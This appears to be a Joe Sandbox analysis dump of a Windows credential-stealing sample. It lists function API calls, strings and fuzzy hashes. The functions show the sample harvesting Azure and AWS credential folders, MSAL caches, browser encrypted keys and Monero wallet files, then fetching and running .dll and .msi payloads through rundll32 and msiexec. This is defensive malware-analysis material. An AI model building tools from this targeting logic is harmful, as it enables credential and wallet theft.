Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 2c97f0b674b0cc64eb51e3fcc7201f9f211e9e8e2facb3b8abbaeb1f8af4947d
Instruction ID: ce47a47c009d6352eb47f886e70e5edaf148b34d9121e4636baaed8884c7f2c1
Opcode Fuzzy Hash: 2c97f0b674b0cc64eb51e3fcc7201f9f211e9e8e2facb3b8abbaeb1f8af4947d
Instruction Fuzzy Hash: 20E14F71911108ABCB14FBA1DC91FEEB779AF14314F40416EF10673191EF386A9ACB6A

Function 00418320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

RegOpenKeyExA.ADVAPI32(00000000,0128AC60,00000000,00020019,00000000,004205B6), ref: 004183A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

- , xrefs: 004185A3
%s\%s, xrefs: 0041844D
?, xrefs: 0041837A

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: d992ae31c4370ba79398660ceb908c9469638050511d1de5a8af4af9992bc93a
Instruction ID: f03ee3f6de4a678c4a24becac03c3675d5d4362b87af83515ad79f9b006405b7
Opcode Fuzzy Hash: d992ae31c4370ba79398660ceb908c9469638050511d1de5a8af4af9992bc93a
Instruction Fuzzy Hash: B4813E75911118ABEB24DF50CD81FEAB7B9FF08714F008299E109A6180DF756BC6CFA5

Function 00414D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcat.KERNEL32(?,00000000), ref: 00414DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00414DCD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

lstrcat.KERNEL32(?,00000000), ref: 00414E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00414E59

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

lstrcat.KERNEL32(?,00000000), ref: 00414EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00414EE5

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcat.KERNEL32(?,0128E4D0), ref: 00414A4A
Part of subcall function 00414910: lstrcat.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcat.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcat.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcat.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

Strings

\.azure\, xrefs: 00414DC1
Azure\.azure, xrefs: 00414DD3
\.aws\, xrefs: 00414E4D
*.*, xrefs: 00414DD8
Azure\.IdentityService, xrefs: 00414EEB
Azure\.aws, xrefs: 00414E5F
msal.cache, xrefs: 00414EF0
*.*, xrefs: 00414E64
\.IdentityService\, xrefs: 00414ED9

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: c4fa5dcb2bb5c3f06c8bfa91412fb491c8c97473736fbedb0e4db38ccd7ee9ad
Instruction ID: f000d6c2f448f24832ff43dfc45437f0696cf75d8826a8fca75761153c99f472
Opcode Fuzzy Hash: c4fa5dcb2bb5c3f06c8bfa91412fb491c8c97473736fbedb0e4db38ccd7ee9ad
Instruction Fuzzy Hash: C14186BDA4021467D710F7B0EC47FED7338AB64704F404559B645660C2EEB85BC9CB96

Function 00419010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0041906C

Strings

image/jpeg, xrefs: 00419136

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: f19ccceb9d9d465938ce7f290bd949bbae8562b5bf3b96ffc27cc6e5329703af
Instruction ID: d6dc09ab2bfedf2d54b470b914d8c7211c5e4dd185e8bb692af35d1d417654b8
Opcode Fuzzy Hash: f19ccceb9d9d465938ce7f290bd949bbae8562b5bf3b96ffc27cc6e5329703af
Instruction Fuzzy Hash: 7D711B75A40208BBDB04EFE4DC99FEEB7B9FB48300F108509F515A7290DB38A945CB65

Function 00412E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

ShellExecuteEx.SHELL32(0000003C), ref: 004131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0041335D
ShellExecuteEx.SHELL32(0000003C), ref: 004134EA

Strings

/passive, xrefs: 0041345B
C:\Windows\system32\msiexec.exe, xrefs: 004134BF
C:\Windows\system32\rundll32.exe, xrefs: 00413332
"" , xrefs: 0041309A
.dll, xrefs: 004131E5
/i ", xrefs: 004133E4
.msi, xrefs: 00413398
<, xrefs: 00413490

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: c328cdc9be81c501a06adb078cc21fd2a777e696e09ee326a75be493aa109de0
Instruction ID: 17233f41fb1950bff335544576ea1941aa871c2d7c6c7a5a475621d351ca9112
Opcode Fuzzy Hash: c328cdc9be81c501a06adb078cc21fd2a777e696e09ee326a75be493aa109de0
Instruction Fuzzy Hash: 96125F718111089ADB09FBA1DD92FEEB778AF14314F50415EF10666091EF382BDACF6A

Function 004152C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,0128E5E0), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,0128DBB0,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
lstrlen.KERNEL32(00000000), ref: 0041532F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
lstrlen.KERNEL32(00000000), ref: 00415383
lstrlen.KERNEL32(00000000), ref: 004153AE

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Strings

ERROR, xrefs: 004153B9
ERROR, xrefs: 0041530A
ERROR, xrefs: 004154A9
ERROR, xrefs: 00415432
ERROR, xrefs: 0041546F

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: a99532bd2d294eafc9623920962e268430e16fc8ae6a36dd000ff70ad9d5140d
Instruction ID: 712b1efc5e9cffa6d85e25cc0d5ccfd3d928df1c32b3a809526078b9d49aab8c
Opcode Fuzzy Hash: a99532bd2d294eafc9623920962e268430e16fc8ae6a36dd000ff70ad9d5140d
Instruction Fuzzy Hash: 4F514130911108EBCB14FF61CD92AED3779AF50354F50401EF40A6B591DF386B96CB6A

Function 004112D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 7a02cffb099377d4201d2e9291f10bf61413159ad2e3b4e1484e42fc67f17588
Instruction ID: 4a7073b5750037b12307d97dd43dd6b1cfcbfa6166e71f48df9e2dbc49e6d573
Opcode Fuzzy Hash: 7a02cffb099377d4201d2e9291f10bf61413159ad2e3b4e1484e42fc67f17588
Instruction Fuzzy Hash: D0C1D7B5941208ABCB14EF60DC89FEA7379BF54304F0045DEF50A67241DA78AAC5CF95

Function 00414280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcat.KERNEL32(?,00000000), ref: 004142EC
lstrcat.KERNEL32(?,0128DC88), ref: 0041430B
lstrcat.KERNEL32(?,?), ref: 0041431F
lstrcat.KERNEL32(?,0128CB70), ref: 00414333

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00401B54,?,?,0042564C,?,?,00420E1F), ref: 00418D9F

Part of subcall function 00409CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(0040148F), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 004193C0: GlobalAlloc.KERNEL32(00000000,004143DD,004143DD), ref: 004193D3

StrStrA.SHLWAPI(?,0128DC28), ref: 004143F3
GlobalFree.KERNEL32(?), ref: 00414512

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

lstrcat.KERNEL32(?,00000000), ref: 004144A3
StrCmpCA.SHLWAPI(?,004208D1), ref: 004144C0
lstrcat.KERNEL32(00000000,00000000), ref: 004144D2
lstrcat.KERNEL32(00000000,?), ref: 004144E5
lstrcat.KERNEL32(00000000,00420FB8), ref: 004144F4

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: d620b140cba4f846db9659000884d6f99d6e686b8edb28011cd315dfa72b518a
Instruction ID: db4b38d3214fd49b51c6fefb648249eaa571636795fccd23eedf93bd9b9a74f9
Opcode Fuzzy Hash: d620b140cba4f846db9659000884d6f99d6e686b8edb28011cd315dfa72b518a
Instruction Fuzzy Hash: 897156B6910208BBDB14FBE0DC85FEE7379AB88304F00459DF605A7181EA78DB55CB95

Function 00401310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004012B4
Part of subcall function 004012A0: RtlAllocateHeap.NTDLL(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlen.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(00420E1A,012899C8,004205AE,?,?,004013F9,?,0000001A,00420E1A,00000000,?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(0040148F), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

DeleteFileA.KERNEL32(00000000), ref: 004014EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
.keys, xrefs: 0040136B
\Monero\wallet.keys, xrefs: 0040138D
wallet_path, xrefs: 00401330

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 771b9f8fbee469c706167788f983bf5398b85f3009b7fdedb01d081a7709bf8e
